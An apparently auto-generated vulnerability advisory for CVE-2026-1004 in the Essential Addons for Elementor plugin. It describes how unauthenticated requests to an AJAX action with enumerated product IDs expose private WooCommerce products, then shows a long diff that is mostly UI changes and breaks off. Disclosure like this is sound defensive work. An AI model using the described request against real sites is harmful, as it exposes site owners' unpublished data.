Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1004: Essential Addons for Elementor <= 6.5.5 – Missing Authorization to Unauthenticated Sensitive Information Exposure (essential-addons-for-elementor-lite)

CVE ID CVE-2026-1004
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.5.5
Patched Version 6.5.6
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1004:
The Essential Addons for Elementor plugin for WordPress versions up to and including 6.5.5 contains a missing authorization vulnerability in the ‘eael_product_quickview_popup’ function. This vulnerability allows unauthenticated attackers to retrieve sensitive WooCommerce product information that should be restricted, including products with draft, pending, or private status. The CVSS score of 5.3 reflects a medium severity information disclosure issue.

The root cause is the absence of proper capability checks in the ‘eael_product_quickview_popup’ function within the ‘includes/Traits/Product_Quick_View.php’ file. The vulnerable code registers an AJAX handler via ‘add_action(‘wp_ajax_nopriv_eael_product_quickview_popup’, [$this, ‘eael_product_quickview_popup’])’. This hook allows unauthenticated users to trigger the function. The function directly processes product ID parameters from user input without verifying if the requesting user has permission to view non-public products. The ‘get_post_status’ and product data retrieval occur before any authorization validation.

Exploitation requires sending a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘eael_product_quickview_popup’. Attackers must include the ‘product_id’ parameter containing the numeric ID of a target product. The vulnerable endpoint accepts both authenticated and unauthenticated requests due to the ‘wp_ajax_nopriv_’ hook registration. Attackers can enumerate product IDs to retrieve information about products with draft, pending, or private status that should remain hidden from public view.

The patch adds an authorization check at the beginning of the ‘eael_product_quickview_popup’ function. The fix introduces a call to ‘current_user_can(‘edit_posts’)’ before processing any product data. This capability check ensures only users with appropriate editing privileges can access product information. The patch also removes the ‘wp_ajax_nopriv_’ hook registration, preventing unauthenticated access entirely. Version 6.5.6 implements these changes in the ‘includes/Traits/Product_Quick_View.php’ file.

Successful exploitation exposes sensitive product information including titles, descriptions, prices, inventory status, and other WooCommerce product metadata. Attackers can gather competitive intelligence about upcoming products, view unpublished content, or map internal product structures. While this vulnerability does not enable direct modification or deletion of data, the information disclosure could facilitate further attacks or business intelligence gathering.

Differential between vulnerable and patched code

Code Diff
--- a/essential-addons-for-elementor-lite/essential_adons_elementor.php
+++ b/essential-addons-for-elementor-lite/essential_adons_elementor.php
@@ -4,14 +4,14 @@
  * Description: The Essential plugin you install after Elementor! Packed with 100+ stunning elements like Data Table, Event Calendar, Filterable Gallery, WooCommerce.
  * Plugin URI: https://essential-addons.com/
  * Author: WPDeveloper
- * Version: 6.5.5
+ * Version: 6.5.6
  * Author URI: https://wpdeveloper.com/
  * Text Domain: essential-addons-for-elementor-lite
  * Domain Path: /languages
  *
  * WC tested up to: 10.0
- * Elementor tested up to: 3.33
- * Elementor Pro tested up to: 3.33
+ * Elementor tested up to: 3.34
+ * Elementor Pro tested up to: 3.34
  */

 if (!defined('ABSPATH')) {
@@ -27,7 +27,7 @@
 define('EAEL_PLUGIN_BASENAME', plugin_basename(__FILE__));
 define('EAEL_PLUGIN_PATH', trailingslashit(plugin_dir_path(__FILE__)));
 define('EAEL_PLUGIN_URL', trailingslashit(plugins_url('/', __FILE__)));
-define('EAEL_PLUGIN_VERSION', '6.5.5');
+define('EAEL_PLUGIN_VERSION', '6.5.6');
 define('EAEL_ASSET_PATH', wp_upload_dir()['basedir'] . '/essential-addons-elementor');
 define('EAEL_ASSET_URL', wp_upload_dir()['baseurl'] . '/essential-addons-elementor');
 /**
--- a/essential-addons-for-elementor-lite/includes/Elements/Adv_Accordion.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Adv_Accordion.php
@@ -112,6 +112,7 @@
          */
         $this->init_content_general_controls();
         $this->init_content_content_controls();
+        do_action( 'eael_adv_accordion_media_type_controls', $this );
         $this->init_content_promotion_controls();

         /**
@@ -131,19 +132,53 @@
                 'label' => esc_html__('General Settings', 'essential-addons-for-elementor-lite'),
             ]
         );
+
+        $image_path = EAEL_PLUGIN_URL . 'assets/admin/images/layout-previews/accordion-';
+        $eael_accordion_layout = apply_filters(
+            'eael_adv_accordion_styles',
+            [
+                'styles' => [
+                    'accordion' => [
+                        'title' => esc_html__( 'Accordion', 'essential-addons-for-elementor-lite' ),
+						'image' => $image_path . 'default.png'
+                    ],
+                    'toggle' => [
+                        'title' => esc_html__( 'Toggle', 'essential-addons-for-elementor-lite' ),
+						'image' => $image_path . 'toggle.png'
+                    ],
+                    'accordion_media' => [
+                        'title' => esc_html__( 'Accordion with Media (Pro)', 'essential-addons-for-elementor-lite' ),
+						'image' => $image_path . 'media.png'
+                    ],
+                ],
+                'conditions' => ['accordion_media'],
+            ]
+        );
+
         $this->add_control(
             'eael_adv_accordion_type',
             [
                 'label'       => esc_html__('Accordion Type', 'essential-addons-for-elementor-lite'),
-                'type'        => Controls_Manager::SELECT,
+                'type'        => Controls_Manager::CHOOSE,
                 'default'     => 'accordion',
-                'label_block' => false,
-                'options'     => [
-                    'accordion' => esc_html__('Accordion', 'essential-addons-for-elementor-lite'),
-                    'toggle'    => esc_html__('Toggle', 'essential-addons-for-elementor-lite'),
+                'label_block' => true,
+                'toggle'      => false,
+                'image_choose'=> true,
+                'options'     => $eael_accordion_layout['styles'],
+            ]
+        );
+
+        $this->add_control(
+            'eael_adv_accordion_type_pro_alert',
+            [
+                'label'     => sprintf( '<a target="_blank" href="https://wpdeveloper.com/upgrade/ea-pro">%s</a>', esc_html__('Only Available in Pro Version!', 'essential-addons-for-elementor-lite')),
+                'type'      => Controls_Manager::HEADING,
+                'condition' => [
+                    'eael_adv_accordion_type' => $eael_accordion_layout['conditions'],
                 ],
             ]
         );
+
         $this->add_control(
             'eael_adv_accordion_title_tag',
             [
@@ -163,6 +198,76 @@
                 ],
             ]
         );
+
+        $this->add_control(
+			'eael_accordion_media_custom_animation',
+			[
+				'label'  => esc_html__( 'Animation', 'essential-addons-for-elementor-lite' ),
+				'type'   => Controls_Manager::SELECT,
+				'groups' => [
+					[
+						'label' => esc_html__( 'None', 'essential-addons-for-elementor-lite' ),
+						'options' => [
+							'' => esc_html__( 'None', 'essential-addons-for-elementor-lite' ),
+						],
+					],
+					[
+						'label' => esc_html__( 'Slide', 'essential-addons-for-elementor-lite' ),
+						'options' => [
+							'slide-top'    => esc_html__( 'Slide In Up', 'essential-addons-for-elementor-lite' ),
+							'slide-bottom' => esc_html__( 'Slide In Down', 'essential-addons-for-elementor-lite' ),
+							'slide-left'   => esc_html__( 'Slide In Left', 'essential-addons-for-elementor-lite' ),
+							'slide-right'  => esc_html__( 'Slide In Right', 'essential-addons-for-elementor-lite' ),
+						],
+					],
+					[
+						'label' => esc_html__( 'Zoom', 'essential-addons-for-elementor-lite' ),
+						'options' => [
+							'zoom-in'  => esc_html__( 'Zoom In', 'essential-addons-for-elementor-lite' ),
+							'zoom-out' => esc_html__( 'Zoom Out', 'essential-addons-for-elementor-lite' ),
+						],
+					],
+                    [
+						'label' => esc_html__( 'Fade', 'essential-addons-for-elementor-lite' ),
+						'options' => [
+							'fade-top' => esc_html__( 'Fade Slide Up', 'essential-addons-for-elementor-lite' ),
+						],
+					],
+                    [
+						'label' => esc_html__( 'Rotate', 'essential-addons-for-elementor-lite' ),
+						'options' => [
+							'rotate-zoom' => esc_html__( 'Rotate Zoom', 'essential-addons-for-elementor-lite' ),
+						],
+					],
+				],
+				'prefix_class' => 'eael-accordion_animation-',
+                'condition'    => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_control(
+			'eael_accordion_media_custom_animation_duration',
+			[
+				'label' => esc_html__( 'Transition Duration', 'essential-addons-for-elementor-lite' ),
+				'type'  => Controls_Manager::SLIDER,
+				'range' => [
+					'px' => [
+						'min'  => 0,
+						'max'  => 10,
+						'step' => 0.1,
+					],
+				],
+				'default' => [
+					'size' => 0.6,
+				],
+                'condition'    => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
         $this->add_control(
             'eael_adv_accordion_icon_show',
             [
@@ -170,6 +275,9 @@
                 'type'         => Controls_Manager::SWITCHER,
                 'default'      => 'yes',
                 'return_value' => 'yes',
+                'condition'    => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );
         $this->add_control(
@@ -183,6 +291,7 @@
                 'return_value' => 'right',
                 'condition'    => [
                     'eael_adv_accordion_icon_show' => 'yes',
+                    'eael_adv_accordion_type!' => 'accordion_media',
                 ],
             ]
         );
@@ -199,6 +308,7 @@
                 ],
                 'condition'        => [
                     'eael_adv_accordion_icon_show' => 'yes',
+                    'eael_adv_accordion_type!' => 'accordion_media',
                 ],
             ]
         );
@@ -209,6 +319,9 @@
                 'type'        => Controls_Manager::NUMBER,
                 'label_block' => false,
                 'default'     => 300,
+                'condition'    => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -221,6 +334,9 @@
                 'label_block' => false,
                 'default'     => 0,
                 'min'         => 0,
+                'condition'    => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -231,6 +347,9 @@
 			    'type'        => Controls_Manager::NUMBER,
 			    'label_block' => false,
 			    'default'     => 300,
+                'condition'    => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
 		    ]
 	    );

@@ -241,6 +360,9 @@
 			    'type'         => Controls_Manager::SWITCHER,
 			    'default'      => 'no',
 			    'return_value' => 'yes',
+                'condition'    => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
 		    ]
 	    );

@@ -265,6 +387,9 @@
             'eael_section_adv_accordion_content_settings',
             [
                 'label' => esc_html__('Content Settings', 'essential-addons-for-elementor-lite'),
+                'condition' => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -313,8 +438,8 @@
             ]
         );

-		$this->start_controls_tab( 'eael_adv_accordion_open_icon_tab',
-            [
+		$this->start_controls_tab( 'eael_adv_accordion_open_icon_tab',
+            [
                 'label' => esc_html__( 'Opened Tab Icon', 'essential-addons-for-elementor-lite' ),
             ]
         );
@@ -333,8 +458,8 @@

 		$this->end_controls_tab();

-        $this->start_controls_tab( 'eael_adv_accordion_closed_icon_tab',
-            [
+        $this->start_controls_tab( 'eael_adv_accordion_closed_icon_tab',
+            [
                 'label' => esc_html__( 'Closed Tab Icon', 'essential-addons-for-elementor-lite' ),
             ]
         );
@@ -537,7 +662,8 @@
                 'fields' => $repeater->get_controls(),
                 'title_field' => '{{eael_adv_accordion_tab_title}}',
                 'condition' => [
-                    'eael_adv_accordion_content_source' => 'custom'
+                    'eael_adv_accordion_content_source' => 'custom',
+                    'eael_adv_accordion_type!' => 'accordion_media'
                 ]
             ]
         );
@@ -594,6 +720,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -605,6 +732,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -613,7 +741,7 @@
             [
                 'name'     => 'eael_adv_accordion_border',
                 'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
-                'selector' => '{{WRAPPER}} .eael-adv-accordion',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion, {{WRAPPER}} .eael-accordion_media-wrapper',
             ]
         );
         $this->add_responsive_control(
@@ -624,6 +752,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -631,9 +760,173 @@
             Group_Control_Box_Shadow::get_type(),
             [
                 'name'     => 'eael_adv_accordion_box_shadow',
-                'selector' => '{{WRAPPER}} .eael-adv-accordion',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion, {{WRAPPER}} .eael-accordion_media-wrapper',
             ]
         );
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_content_width',
+			[
+				'label'      => esc_html__( 'Content Width', 'essential-addons-for-elementor-lite' ),
+				'type'       => Controls_Manager::SLIDER,
+				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
+				'range'      => [
+					'%' => [
+						'min' => 0,
+						'max' => 100,
+					],
+				],
+				'default' => [
+					'unit' => '%',
+					'size' => 50,
+				],
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists' => 'width: {{SIZE}}{{UNIT}};',
+				],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_content_gap',
+			[
+				'label'      => esc_html__( 'Content Gap', 'essential-addons-for-elementor-lite' ),
+				'type'       => Controls_Manager::SLIDER,
+				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
+				'range'      => [
+					'px' => [
+						'min'  => 0,
+						'max'  => 1000,
+						'step' => 1,
+					],
+				],
+				'default' => [
+					'unit' => 'px',
+					'size' => 12,
+				],
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists' => 'gap: {{SIZE}}{{UNIT}};',
+				],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_control(
+			'eael_adv_accordion_media_more_options',
+			[
+				'label'     => esc_html__( 'Media Options', 'essential-addons-for-elementor-lite' ),
+				'type'      => Controls_Manager::HEADING,
+				'separator' => 'before',
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_gap',
+			[
+				'label'      => esc_html__( 'Media Gap', 'essential-addons-for-elementor-lite' ),
+				'type'       => Controls_Manager::SLIDER,
+				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
+				'range'      => [
+					'px' => [
+						'min'  => 0,
+						'max'  => 1000,
+						'step' => 1,
+					],
+				],
+				'default' => [
+					'unit' => 'px',
+					'size' => 30,
+				],
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper' => 'gap: {{SIZE}}{{UNIT}};',
+				],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_direction',
+			[
+				'label'   => esc_html__( 'Media Direction', 'essential-addons-for-elementor-lite' ),
+				'type'    => Controls_Manager::CHOOSE,
+				'options' => [
+					'row' => [
+						'title' => esc_html__( 'Left', 'essential-addons-for-elementor-lite' ),
+						'icon'  => 'eicon-align-end-h',
+					],
+					'row-reverse' => [
+						'title' => esc_html__( 'Right', 'essential-addons-for-elementor-lite' ),
+						'icon'  => 'eicon-align-start-h',
+					],
+				],
+				'default'   => 'row',
+				'toggle'    => false,
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper' => 'flex-direction: {{VALUE}};',
+				],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_image_height',
+			[
+				'label'      => esc_html__( 'Height', 'essential-addons-for-elementor-lite' ),
+				'type'       => Controls_Manager::SLIDER,
+				'size_units' => [ 'vh', 'px', 'rem', 'custom' ],
+				'range' => [
+					'vh' => [
+						'min' => 0,
+						'max' => 100,
+						'step' => 1,
+					],
+					'px' => [
+						'min' => 0,
+						'max' => 1000,
+						'step' => 1,
+					],
+				],
+				'default' => [
+					'unit' => 'vh',
+					'size' => 50,
+				],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-images' => 'height: {{SIZE}}{{UNIT}};',
+				],
+			]
+		);
+
+        $this->add_responsive_control(
+			'eael_adv_accordion_media_image_border_radius',
+			[
+				'label' => esc_html__( 'Border Radius', 'essential-addons-for-elementor-lite' ),
+				'type' => Controls_Manager::DIMENSIONS,
+				'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+				'selectors' => [
+					'{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-images,
+                    {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-image.active,
+                    {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-image' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				],
+			]
+		);
+
         $this->end_controls_section();
     }

@@ -650,9 +943,23 @@
             Group_Control_Typography::get_type(),
             [
                 'name'     => 'eael_adv_accordion_tab_title_typography',
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .eael-accordion-tab-title',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .eael-accordion-tab-title,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-list .eael-accordion_media-content .eael-accordion_media-title',
             ]
         );
+
+        $this->add_control(
+			'eael_adv_accordion_tab_icon_style_hading',
+			[
+				'label'     => esc_html__( 'Icon Style', 'essential-addons-for-elementor-lite' ),
+				'type'      => Controls_Manager::HEADING,
+				'separator' => 'before',
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+			]
+		);
+
         $this->add_responsive_control(
             'eael_adv_accordion_tab_icon_size',
             [
@@ -673,6 +980,8 @@
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .fa-accordion-icon'   => 'font-size: {{SIZE}}{{UNIT}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header svg.fa-accordion-icon'   => 'height: {{SIZE}}{{UNIT}};width: {{SIZE}}{{UNIT}};line-height: {{SIZE}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-icon i'   => 'font-size: {{SIZE}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-icon svg'   => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}; line-height: {{SIZE}}{{UNIT}};',
                 ],
             ]
         );
@@ -694,7 +1003,8 @@
                     ],
                 ],
                 'selectors'  => [
-                    '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .fa-accordion-icon'   => 'margin-left: {{SIZE}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .fa-accordion-icon,
+                    {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list'   => 'gap: {{SIZE}}{{UNIT}};',
                 ],
                 'condition'  => [
                     'eael_adv_accordion_toggle_icon_postion' => 'right',
@@ -728,6 +1038,33 @@
             ]
         );

+        $this->add_group_control(
+            Group_Control_Border::get_type(),
+            [
+                'name'     => 'eael_adv_accordion_media_tab_border_hover',
+                'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
+                'selector' => '{{WRAPPER}} .eael-accordion_media-lists .eael-accordion_media-icon',
+                'condition'=> [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+            ]
+        );
+
+        $this->add_responsive_control(
+            'eael_adv_accordion_media_tab_border_radius_hover',
+            [
+                'label'      => esc_html__('Border Radius', 'essential-addons-for-elementor-lite'),
+                'type'       => Controls_Manager::DIMENSIONS,
+                'size_units' => ['px', 'rem', '%'],
+                'selectors'  => [
+                    '{{WRAPPER}} .eael-accordion_media-lists .eael-accordion_media-icon' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                ],
+                'condition'    => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+            ]
+        );
+
         $this->add_responsive_control(
             'eael_adv_accordion_tab_distance',
             [
@@ -737,6 +1074,9 @@
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list' => 'margin-bottom: {{SIZE}}{{UNIT}};',
                 ],
+                'condition' => [
+                    'eael_adv_accordion_type!' => 'accordion_media',
+                ],
             ]
         );

@@ -748,6 +1088,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -759,6 +1100,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-title' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -772,7 +1114,8 @@
             [
                 'name'     => 'eael_adv_accordion_tab_bgtype',
                 'types'    => ['classic', 'gradient'],
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-list',
             ]
         );
         $this->add_control(
@@ -783,6 +1126,7 @@
                 'default'   => '#333',
                 'selectors' => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .eael-accordion-tab-title' => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-content .eael-accordion_media-title' => 'color: {{VALUE}};',
                 ],
             ]
         );
@@ -796,15 +1140,32 @@
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .fa-accordion-icon' => 'color: {{VALUE}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header .fa-accordion-icon-svg svg' => 'color: {{VALUE}}; fill: {{VALUE}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header svg' => 'fill: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-icon' => 'color: {{VALUE}};',
                 ]
             ]
         );
+
+        $this->add_control(
+            'eael_adv_accordion_tab_icon_border_color',
+            [
+                'label'     => esc_html__('Icon Border Color', 'essential-addons-for-elementor-lite'),
+                'type'      => Controls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .eael-accordion_media-list .eael-accordion_media-icon' => 'border-color: {{VALUE}};',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+            ]
+        );
+
         $this->add_group_control(
             Group_Control_Border::get_type(),
             [
                 'name'     => 'eael_adv_accordion_tab_border',
                 'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list',
             ]
         );
         $this->add_responsive_control(
@@ -815,6 +1176,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -833,7 +1195,8 @@
             [
                 'name'     => 'eael_adv_accordion_tab_bgtype_hover',
                 'types'    => ['classic', 'gradient'],
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list:not(.active):hover',
             ]
         );
         $this->add_control(
@@ -843,10 +1206,12 @@
                 'type'      => Controls_Manager::COLOR,
                 'default'   => '#fff',
                 'selectors' => [
-                    '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover .eael-accordion-tab-title' => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover .eael-accordion-tab-title,
+                    {{WRAPPER}} .eael-accordion_media-list:not(.active):hover .eael-accordion_media-title' => 'color: {{VALUE}};',
                 ],
             ]
         );
+
         $this->add_control(
             'eael_adv_accordion_tab_icon_color_hover',
             [
@@ -857,15 +1222,34 @@
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover .fa-accordion-icon' => 'color: {{VALUE}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover .fa-accordion-icon svg' => 'color: {{VALUE}}; fill: {{VALUE}}',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover svg.fa-accordion-icon' => 'fill: {{VALUE}}',
+                    '{{WRAPPER}} .eael-accordion_media-list:hover .eael-accordion_media-icon i'   => 'color: {{VALUE}};',
+                    '{{WRAPPER}} .eael-accordion_media-list:hover .eael-accordion_media-icon svg'   => 'fill: {{VALUE}}',
                 ]
             ]
         );
+
+        $this->add_control(
+            'eael_adv_accordion_tab_icon_border_color_hover',
+            [
+                'label'     => esc_html__('Icon Border Color', 'essential-addons-for-elementor-lite'),
+                'type'      => Controls_Manager::COLOR,
+                'default'   => '#fff',
+                'selectors' => [
+                    '{{WRAPPER}} .eael-accordion_media-list:not(.active):hover .eael-accordion_media-icon' => 'border-color: {{VALUE}};',
+                ],
+                'condition' => [
+                    'eael_adv_accordion_type' => 'accordion_media',
+                ],
+            ]
+        );
+
         $this->add_group_control(
             Group_Control_Border::get_type(),
             [
                 'name'     => 'eael_adv_accordion_tab_border_hover',
                 'label'    => esc_html__('Border', 'essential-addons-for-elementor-lite'),
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list:hover',
             ]
         );
         $this->add_responsive_control(
@@ -876,6 +1260,7 @@
                 'size_units' => ['px', 'em', '%'],
                 'selectors'  => [
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header:hover' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+                    '{{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-lists .eael-accordion_media-list:hover' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
                 ],
             ]
         );
@@ -894,7 +1279,8 @@
             [
                 'name'     => 'eael_adv_accordion_tab_bgtype_active',
                 'types'    => ['classic', 'gradient'],
-                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active',
+                'selector' => '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active,
+                {{WRAPPER}} .eael-accordion_media-wrapper .eael-accordion_media-list.active',
             ]
         );
         $this->add_control(
@@ -907,8 +1293,26 @@
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active'                           => 'color: {{VALUE}};',
                     '{{WRAPPER}} .eael-adv-accordion .eael-accordion-list .eael-accordion-header.active .eael-accordion-tab-title' => 'color: {{VALUE}};',
                 ],
+                'condition' => [
